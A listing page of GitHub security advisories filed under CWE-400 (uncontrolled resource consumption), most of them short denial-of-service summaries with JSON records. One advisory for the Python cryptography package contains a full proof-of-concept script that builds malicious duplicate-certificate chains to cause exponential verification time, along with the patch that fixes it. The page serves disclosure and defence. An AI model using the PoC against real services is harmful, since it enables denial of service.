CWE-400
DiscouragedUncontrolled Resource Consumption
Abstraction: Class · Status: Draft
The product does not properly control the allocation and maintenance of a limited resource.
6476 vulnerabilities reference this CWE, most recent first.
GHSA-JWGX-VCX4-6F6J
Vulnerability from github – Published: 2023-01-11 00:30 – Updated: 2023-01-11 00:30Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2023-21547"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-01-10T22:15:00Z",
"severity": "HIGH"
},
"details": "Internet Key Exchange (IKE) Protocol Denial of Service Vulnerability.",
"id": "GHSA-jwgx-vcx4-6f6j",
"modified": "2023-01-11T00:30:47Z",
"published": "2023-01-11T00:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-21547"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-21547"
},
{
"type": "WEB",
"url": "https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2023-21547"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JWHJ-R8GF-XM67
Vulnerability from github – Published: 2023-04-25 00:30 – Updated: 2024-04-04 03:40Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component ecma_find_named_property at /base/ecma-helpers.c.
{
"affected": [],
"aliases": [
"CVE-2023-30406"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-04-24T22:15:09Z",
"severity": "MODERATE"
},
"details": "Jerryscript commit 1a2c047 was discovered to contain a segmentation violation via the component ecma_find_named_property at /base/ecma-helpers.c.",
"id": "GHSA-jwhj-r8gf-xm67",
"modified": "2024-04-04T03:40:17Z",
"published": "2023-04-25T00:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-30406"
},
{
"type": "WEB",
"url": "https://github.com/jerryscript-project/jerryscript/issues/5058"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JWR6-46Q6-XCR4
Vulnerability from github – Published: 2024-06-11 06:31 – Updated: 2024-08-23 03:30Excessive platform resource consumption within a loop issue exists in Cybozu Garoon 5.0.0 to 5.15.2. If this vulnerability is exploited, processing a crafted mail may cause a denial-of-service (DoS) condition.
{
"affected": [],
"aliases": [
"CVE-2024-31399"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T06:15:10Z",
"severity": "MODERATE"
},
"details": "Excessive platform resource consumption within a loop issue exists in Cybozu Garoon 5.0.0 to 5.15.2. If this vulnerability is exploited, processing a crafted mail may cause a denial-of-service (DoS) condition.",
"id": "GHSA-jwr6-46q6-xcr4",
"modified": "2024-08-23T03:30:57Z",
"published": "2024-06-11T06:31:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-31399"
},
{
"type": "WEB",
"url": "https://cs.cybozu.co.jp/2024/007901.html"
},
{
"type": "WEB",
"url": "https://jvn.jp/en/jp/JVN28869536"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JWV3-5HGF-82WW
Vulnerability from github – Published: 2026-08-03 21:26 – Updated: 2026-09-24 14:35Summary
When resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.
This work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission.
Details
The core issue arises in the recursive nature of build_chain_inner, which does not de-duplicate against previously analyzed candidates.
fn build_chain_inner(
&self,
working_cert: &VerificationCertificate<'chain, B>,
current_depth: u8,
working_cert_extensions: &Extensions<'chain>,
name_chain: NameChain<'_, 'chain>,
budget: &mut Budget,
) -> ValidationResult<'chain, Chain<'chain, B>, B> {
if let Some(nc) = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {
name_chain.evaluate_constraints(&nc.value()?, budget)?;
}
// Look in the store's root set to see if the working cert is listed.
// If it is, we've reached the end.
if self.store.contains(working_cert) {
return Ok(vec![working_cert.clone()]);
}
// Check that our current depth does not exceed our policy-configured
// max depth. We do this after the root set check, since the depth
// only measures the intermediate chain's length, not the root or leaf.
if current_depth > self.policy.max_chain_depth {
return Err(ValidationError::new(ValidationErrorKind::Other(
"chain construction exceeds max depth".into(),
)));
}
// Otherwise, we collect a list of potential issuers for this cert,
// and continue with the first that verifies.
let mut last_err: Option<ValidationError<'_, B>> = None;
for issuing_cert_candidate in self.potential_issuers(working_cert) {
// A candidate issuer is said to verify if it both
// signs for the working certificate and conforms to the
// policy.
let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;
match self.policy.valid_issuer(
issuing_cert_candidate,
working_cert,
current_depth,
&issuer_extensions,
) {
Ok(_) => {
match self.build_chain_inner(
A sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.
let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain, B>>::new();
for issuing_cert_candidate in self.potential_issuers(working_cert) {
. . .
Ok(_) => {
if seen_valid_issuers.contains(&issuing_cert_candidate) {
continue;
}
seen_valid_issuers.push(issuing_cert_candidate);
match self.build_chain_inner(
issuing_cert_candidate,
// NOTE(ww): According to RFC 5280, we should only
In testing, this fix removed the exponential blowup without breaking apparent correctness.
duplicates,max_depth,result,seconds
1,7,rejected,0.000464 -> 1,7,rejected,0.000667
2,7,rejected,0.025154 -> 2,7,rejected,0.001229
3,7,rejected,0.489924 -> 3,7,rejected,0.001619
4,7,rejected,4.309403 -> 4,7,rejected,0.002144
3,8,rejected,1.468193 -> 3,8,rejected,0.001811
4,8,timeout>5s, -> 4,8,rejected,0.002410
5,7,timeout>5s, -> 5,7,rejected,0.002640
6,6,timeout>5s, -> 6,6,rejected,0.002829
PoC
The following script benchmarks processing times for malicious cert chains.
import datetime
import multiprocessing
import time
import cryptography
from cryptography import x509
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509.oid import ExtendedKeyUsageOID, NameOID
from cryptography.x509.verification import (
DNSName,
PolicyBuilder,
Store,
VerificationError,
)
NOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)
TIMEOUT = 5
CA_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True,
crl_sign=True,
encipher_only=False,
decipher_only=False,
)
EE_KEY_USAGE = x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=False,
crl_sign=False,
encipher_only=False,
decipher_only=False,
)
def name(common_name):
return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])
def base_builder(subject, issuer, public_key, serial):
return (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(public_key)
.serial_number(serial)
.not_valid_before(NOW - datetime.timedelta(days=1))
.not_valid_after(NOW + datetime.timedelta(days=30))
)
def make_ca(common_name, serial):
private_key = ec.generate_private_key(ec.SECP256R1())
subject = name(common_name)
cert = (
base_builder(subject, subject, private_key.public_key(), serial)
.add_extension(x509.BasicConstraints(ca=True, path_length=None), True)
.add_extension(CA_KEY_USAGE, True)
.add_extension(
x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),
False,
)
.sign(private_key, hashes.SHA256())
)
return private_key, cert
def make_leaf(issuer_key, issuer_cert):
private_key = ec.generate_private_key(ec.SECP256R1())
return (
base_builder(name("leaf"), issuer_cert.subject, private_key.public_key(), 100)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), True)
.add_extension(EE_KEY_USAGE, True)
.add_extension(x509.SubjectAlternativeName([x509.DNSName("example.com")]), False)
.add_extension(
x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),
False,
)
.add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)
.sign(issuer_key, hashes.SHA256())
)
def build_material():
looping_key, looping_ca = make_ca("looping self-signed CA", 1)
_, unrelated_root = make_ca("unrelated trust anchor", 2)
leaf = make_leaf(looping_key, looping_ca)
return leaf, looping_ca, unrelated_root
def verify_case(duplicates, max_depth, queue):
leaf, looping_ca, unrelated_root = build_material()
verifier = (
PolicyBuilder()
.store(Store([unrelated_root]))
.time(NOW)
.max_chain_depth(max_depth)
.build_server_verifier(DNSName("example.com"))
)
start = time.perf_counter()
try:
verifier.verify(leaf, [looping_ca] * duplicates)
result = "accepted"
except VerificationError:
result = "rejected"
queue.put((result, time.perf_counter() - start))
def run_case(duplicates, max_depth):
queue = multiprocessing.Queue()
process = multiprocessing.Process(
target=verify_case,
args=(duplicates, max_depth, queue),
)
process.start()
process.join(TIMEOUT)
if process.is_alive():
process.terminate()
process.join()
print(f"{duplicates},{max_depth},timeout>{TIMEOUT}s,")
return
result, elapsed = queue.get()
print(f"{duplicates},{max_depth},{result},{elapsed:.6f}")
if __name__ == "__main__":
print("duplicates,max_depth,result,seconds")
for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:
run_case(*case)
Impact
This issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "cryptography"
},
"ranges": [
{
"events": [
{
"introduced": "42.0.0"
},
{
"fixed": "49.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69249"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-03T21:26:50Z",
"nvd_published_at": "2026-08-03T22:16:52Z",
"severity": "HIGH"
},
"details": "### Summary\nWhen resolving invalid certificate chains that include duplicate copies of self-signed certificates, the processing recursively invokes the same candidate, leading to an exponential blowup. Although the limitation that the chain depth cannot exceed a specified maximum depth prevents unbounded recursion and guarantees termination, an attacker-controlled certificate chain can lead the processing to easily take more than 5s to reject in testing. This amplification could form the basis for a resource exhaustion denial of service attack.\n\nThis work was completed by Trail of Bits as part of the Patch The Planet project in collaboration with OpenAI. The finding was identified primarily by the Codex coding agent, and manually reviewed before submission. \n\n### Details\nThe core issue arises in the recursive nature of `build_chain_inner`, which does not de-duplicate against previously analyzed candidates.\n\n```python\n fn build_chain_inner(\n \u0026self,\n working_cert: \u0026VerificationCertificate\u003c\u0027chain, B\u003e,\n current_depth: u8,\n working_cert_extensions: \u0026Extensions\u003c\u0027chain\u003e,\n name_chain: NameChain\u003c\u0027_, \u0027chain\u003e,\n budget: \u0026mut Budget,\n ) -\u003e ValidationResult\u003c\u0027chain, Chain\u003c\u0027chain, B\u003e, B\u003e {\n if let Some(nc) = working_cert_extensions.get_extension(\u0026NAME_CONSTRAINTS_OID) {\n name_chain.evaluate_constraints(\u0026nc.value()?, budget)?;\n }\n\n // Look in the store\u0027s root set to see if the working cert is listed.\n // If it is, we\u0027ve reached the end.\n if self.store.contains(working_cert) {\n return Ok(vec![working_cert.clone()]);\n }\n\n // Check that our current depth does not exceed our policy-configured\n // max depth. We do this after the root set check, since the depth\n // only measures the intermediate chain\u0027s length, not the root or leaf.\n if current_depth \u003e self.policy.max_chain_depth {\n return Err(ValidationError::new(ValidationErrorKind::Other(\n \"chain construction exceeds max depth\".into(),\n )));\n }\n\n // Otherwise, we collect a list of potential issuers for this cert,\n // and continue with the first that verifies.\n let mut last_err: Option\u003cValidationError\u003c\u0027_, B\u003e\u003e = None;\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n // A candidate issuer is said to verify if it both\n // signs for the working certificate and conforms to the\n // policy.\n let issuer_extensions = issuing_cert_candidate.certificate().extensions()?;\n match self.policy.valid_issuer(\n issuing_cert_candidate,\n working_cert,\n current_depth,\n \u0026issuer_extensions,\n ) {\n Ok(_) =\u003e {\n match self.build_chain_inner(\n```\n\nA sufficient patch is to track valid issuers, and to skip seen ones before recursing. By tracking valid issuers only, validation and custom extension-policy callbacks still run.\n\n```rust\n let mut seen_valid_issuers = Vec::\u003c\u0026VerificationCertificate\u003c\u0027chain, B\u003e\u003e::new();\n for issuing_cert_candidate in self.potential_issuers(working_cert) {\n . . .\n Ok(_) =\u003e {\n if seen_valid_issuers.contains(\u0026issuing_cert_candidate) {\n continue;\n }\n seen_valid_issuers.push(issuing_cert_candidate);\n \n match self.build_chain_inner(\n issuing_cert_candidate,\n // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn testing, this fix removed the exponential blowup without breaking apparent correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464 -\u003e 1,7,rejected,0.000667\n2,7,rejected,0.025154 -\u003e 2,7,rejected,0.001229\n3,7,rejected,0.489924 -\u003e 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -\u003e 4,7,rejected,0.002144\n3,8,rejected,1.468193 -\u003e 3,8,rejected,0.001811\n4,8,timeout\u003e5s, -\u003e 4,8,rejected,0.002410\n5,7,timeout\u003e5s, -\u003e 5,7,rejected,0.002640\n6,6,timeout\u003e5s, -\u003e 6,6,rejected,0.002829\n```\n\n### PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import (\n DNSName,\n PolicyBuilder,\n Store,\n VerificationError,\n)\n\nNOW = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=True,\n crl_sign=True,\n encipher_only=False,\n decipher_only=False,\n)\nEE_KEY_USAGE = x509.KeyUsage(\n digital_signature=True,\n content_commitment=False,\n key_encipherment=False,\n data_encipherment=False,\n key_agreement=False,\n key_cert_sign=False,\n crl_sign=False,\n encipher_only=False,\n decipher_only=False,\n)\n\ndef name(common_name):\n return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n return (\n x509.CertificateBuilder()\n .subject_name(subject)\n .issuer_name(issuer)\n .public_key(public_key)\n .serial_number(serial)\n .not_valid_before(NOW - datetime.timedelta(days=1))\n .not_valid_after(NOW + datetime.timedelta(days=30))\n )\n\ndef make_ca(common_name, serial):\n private_key = ec.generate_private_key(ec.SECP256R1())\n subject = name(common_name)\n cert = (\n base_builder(subject, subject, private_key.public_key(), serial)\n .add_extension(x509.BasicConstraints(ca=True, path_length=None), True)\n .add_extension(CA_KEY_USAGE, True)\n .add_extension(\n x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n False,\n )\n .sign(private_key, hashes.SHA256())\n )\n return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n private_key = ec.generate_private_key(ec.SECP256R1())\n return (\n base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(), 100)\n .add_extension(x509.BasicConstraints(ca=False, path_length=None), True)\n .add_extension(EE_KEY_USAGE, True)\n .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]), False)\n .add_extension(\n x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n False,\n )\n .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]), False)\n .sign(issuer_key, hashes.SHA256())\n )\n\ndef build_material():\n looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n _, unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n leaf = make_leaf(looping_key, looping_ca)\n return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates, max_depth, queue):\n leaf, looping_ca, unrelated_root = build_material()\n verifier = (\n PolicyBuilder()\n .store(Store([unrelated_root]))\n .time(NOW)\n .max_chain_depth(max_depth)\n .build_server_verifier(DNSName(\"example.com\"))\n )\n\n start = time.perf_counter()\n try:\n verifier.verify(leaf, [looping_ca] * duplicates)\n result = \"accepted\"\n except VerificationError:\n result = \"rejected\"\n queue.put((result, time.perf_counter() - start))\n\ndef run_case(duplicates, max_depth):\n queue = multiprocessing.Queue()\n process = multiprocessing.Process(\n target=verify_case,\n args=(duplicates, max_depth, queue),\n )\n process.start()\n process.join(TIMEOUT)\n\n if process.is_alive():\n process.terminate()\n process.join()\n print(f\"{duplicates},{max_depth},timeout\u003e{TIMEOUT}s,\")\n return\n\n result, elapsed = queue.get()\n print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif __name__ == \"__main__\":\n print(\"duplicates,max_depth,result,seconds\")\n for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6, 6)]:\n run_case(*case)\n```\n\n### Impact\nThis issue exposes an amplification pathway over data that in many applications may be user-controlled, leading to the possibility of a denial of service through resource exhaustion. As the correctness of validation is not affected, the integrity of a system cannot be compromised through this vector, only its availability.",
"id": "GHSA-jwv3-5hgf-82ww",
"modified": "2026-09-24T14:35:11Z",
"published": "2026-08-03T21:26:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-69249"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/pull/14960"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/3763aa79b"
},
{
"type": "WEB",
"url": "https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582"
},
{
"type": "PACKAGE",
"url": "https://github.com/pyca/cryptography"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/cryptography/PYSEC-2026-3553.yaml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "python-cryptography: Duplicate self-signed intermediates can cause exponential path-building"
}
GHSA-JWV4-WWVG-5P94
Vulnerability from github – Published: 2022-05-13 01:34 – Updated: 2022-05-13 01:34A vulnerability has been identified in SIMATIC S7-1200 (All versions), SIMATIC S7-1500 (All Versions < V2.6). An attacker could exhaust the available connection pool of an affected device by opening a sufficient number of connections to the device. Successful exploitation requires an attacker to be able to send packets to port 102/tcp of the affected device. No user interaction and no user privileges are required to exploit the vulnerability. The vulnerability, if exploited, could cause a Denial-of-Service condition impacting the availability of the system. At the time of advisory publication no public exploitation of this vulnerability was known.
{
"affected": [],
"aliases": [
"CVE-2018-13815"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-13T16:29:00Z",
"severity": "HIGH"
},
"details": "A vulnerability has been identified in SIMATIC S7-1200 (All versions), SIMATIC S7-1500 (All Versions \u003c V2.6). An attacker could exhaust the available connection pool of an affected device by opening a sufficient number of connections to the device. Successful exploitation requires an attacker to be able to send packets to port 102/tcp of the affected device. No user interaction and no user privileges are required to exploit the vulnerability. The vulnerability, if exploited, could cause a Denial-of-Service condition impacting the availability of the system. At the time of advisory publication no public exploitation of this vulnerability was known.",
"id": "GHSA-jwv4-wwvg-5p94",
"modified": "2022-05-13T01:34:41Z",
"published": "2022-05-13T01:34:41Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13815"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-584286.pdf"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/105928"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JWVR-83H7-5CH5
Vulnerability from github – Published: 2024-07-17 00:32 – Updated: 2024-07-17 00:32A Denial of Service vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause unbounded resource exhaustion by sending a large payload to the Git server. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.14 and was fixed in version 3.13.1, 3.12.6, 3.11.12, 3.10.14, and 3.9.17. This vulnerability was reported via the GitHub Bug Bounty program.
{
"affected": [],
"aliases": [
"CVE-2024-5795"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-07-16T22:15:05Z",
"severity": "HIGH"
},
"details": "A Denial of Service vulnerability was identified in GitHub Enterprise Server that allowed an attacker to cause unbounded resource exhaustion by sending a large payload to the Git server. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.14 and was fixed in version 3.13.1, 3.12.6, 3.11.12, 3.10.14, and 3.9.17. This vulnerability was reported via the GitHub Bug Bounty program.",
"id": "GHSA-jwvr-83h7-5ch5",
"modified": "2024-07-17T00:32:53Z",
"published": "2024-07-17T00:32:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-5795"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.10/admin/release-notes#3.10.14"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.11/admin/release-notes#3.11.12"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.12/admin/release-notes#3.12.6"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.13/admin/release-notes#3.13.1"
},
{
"type": "WEB",
"url": "https://docs.github.com/en/enterprise-server@3.9/admin/release-notes#3.9.17"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JX3J-P7WG-QG83
Vulnerability from github – Published: 2023-10-25 18:32 – Updated: 2024-04-04 08:53A denial of service vulnerability was reported in the Lenovo HardwareScanPlugin versions prior to
1.3.1.2
and
Lenovo Diagnostics versions prior to 4.45
that could allow a local user with administrative access to trigger a system crash.
{
"affected": [],
"aliases": [
"CVE-2022-0353"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-10-25T18:16:54Z",
"severity": "MODERATE"
},
"details": "\nA denial of service vulnerability was reported in the Lenovo HardwareScanPlugin versions prior to \n\n1.3.1.2\n\n and\u00a0\n\nLenovo Diagnostics versions prior to 4.45\n\n that could allow a local user with administrative access to trigger a system crash.\n\n",
"id": "GHSA-jx3j-p7wg-qg83",
"modified": "2024-04-04T08:53:46Z",
"published": "2023-10-25T18:32:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0353"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-102365"
},
{
"type": "WEB",
"url": "https://support.lenovo.com/us/en/product_security/LEN-94532"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JX4R-QC68-XJR5
Vulnerability from github – Published: 2022-04-21 01:42 – Updated: 2024-04-23 09:30The Diffie-Hellman Key Agreement Protocol allows remote attackers (from the client side) to send arbitrary numbers that are actually not public keys, and trigger expensive server-side DHE modular-exponentiation calculations, aka a D(HE)ater attack. The client needs very little CPU resources and network bandwidth. The attack may be more disruptive in cases where a client can require a server to select its largest supported key size. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE.
{
"affected": [],
"aliases": [
"CVE-2002-20001"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-11-11T19:15:00Z",
"severity": "HIGH"
},
"details": "The Diffie-Hellman Key Agreement Protocol allows remote attackers (from the client side) to send arbitrary numbers that are actually not public keys, and trigger expensive server-side DHE modular-exponentiation calculations, aka a D(HE)ater attack. The client needs very little CPU resources and network bandwidth. The attack may be more disruptive in cases where a client can require a server to select its largest supported key size. The basic attack scenario is that the client must claim that it can only communicate with DHE, and the server must be configured to allow DHE.",
"id": "GHSA-jx4r-qc68-xjr5",
"modified": "2024-04-23T09:30:46Z",
"published": "2022-04-21T01:42:51Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2002-20001"
},
{
"type": "WEB",
"url": "https://github.com/mozilla/ssl-config-generator/issues/162"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-506569.pdf"
},
{
"type": "WEB",
"url": "https://dheatattack.com"
},
{
"type": "WEB",
"url": "https://dheatattack.gitlab.io"
},
{
"type": "WEB",
"url": "https://github.com/Balasys/dheater"
},
{
"type": "WEB",
"url": "https://gitlab.com/dheatattack/dheater"
},
{
"type": "WEB",
"url": "https://ieeexplore.ieee.org/document/10374117"
},
{
"type": "WEB",
"url": "https://support.f5.com/csp/article/K83120834"
},
{
"type": "WEB",
"url": "https://www.arubanetworks.com/assets/alert/ARUBA-PSA-2022-004.txt"
},
{
"type": "WEB",
"url": "https://www.openssl.org/blog/blog/2022/10/21/tls-groups-configuration"
},
{
"type": "WEB",
"url": "https://www.reddit.com/r/netsec/comments/qdoosy/server_overload_by_enforcing_dhe_key_exchange"
},
{
"type": "WEB",
"url": "https://www.researchgate.net/profile/Anton-Stiglic-2/publication/2401745_Security_Issues_in_the_Diffie-Hellman_Key_Agreement_Protocol"
},
{
"type": "WEB",
"url": "https://www.suse.com/support/kb/doc/?id=000020510"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-JX85-PCWQ-C9WC
Vulnerability from github – Published: 2022-05-24 17:43 – Updated: 2022-05-28 00:00An issue has been discovered in GitLab affecting all versions of Gitlab EE/CE before 12.6.7. A potential resource exhaustion issue that allowed running or pending jobs to continue even after project was deleted.
{
"affected": [],
"aliases": [
"CVE-2021-22187"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-03-02T19:15:00Z",
"severity": "MODERATE"
},
"details": "An issue has been discovered in GitLab affecting all versions of Gitlab EE/CE before 12.6.7. A potential resource exhaustion issue that allowed running or pending jobs to continue even after project was deleted.",
"id": "GHSA-jx85-pcwq-c9wc",
"modified": "2022-05-28T00:00:21Z",
"published": "2022-05-24T17:43:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22187"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2021/CVE-2021-22187.json"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/300452"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-JX9P-PJG4-8CMJ
Vulnerability from github – Published: 2022-05-14 03:35 – Updated: 2022-05-14 03:35Huawei DP300 V500R002C00, NIP6600 V500R001C00, V500R001C20, V500R001C30, Secospace USG6500 V500R001C00, V500R001C20, V500R001C30, TE60 V100R001C01, V100R001C10, V100R003C00, V500R002C00, V600R006C00, TP3106 V100R001C06, V100R002C00, VP9660 V200R001C02, V200R001C30, V500R002C00, V500R002C10, ViewPoint 8660 V100R008C03, ViewPoint 9030 V100R011C02, V100R011C03, eCNS210_TD V100R004C10, eSpace U1981 V200R003C30 have a DoS vulnerability caused by memory exhaustion in some Huawei products. For lacking of adequate input validation, attackers can craft and send some malformed messages to the target device to exhaust the memory of the device and cause a Denial of Service (DoS).
{
"affected": [],
"aliases": [
"CVE-2017-15323"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-03-09T21:29:00Z",
"severity": "MODERATE"
},
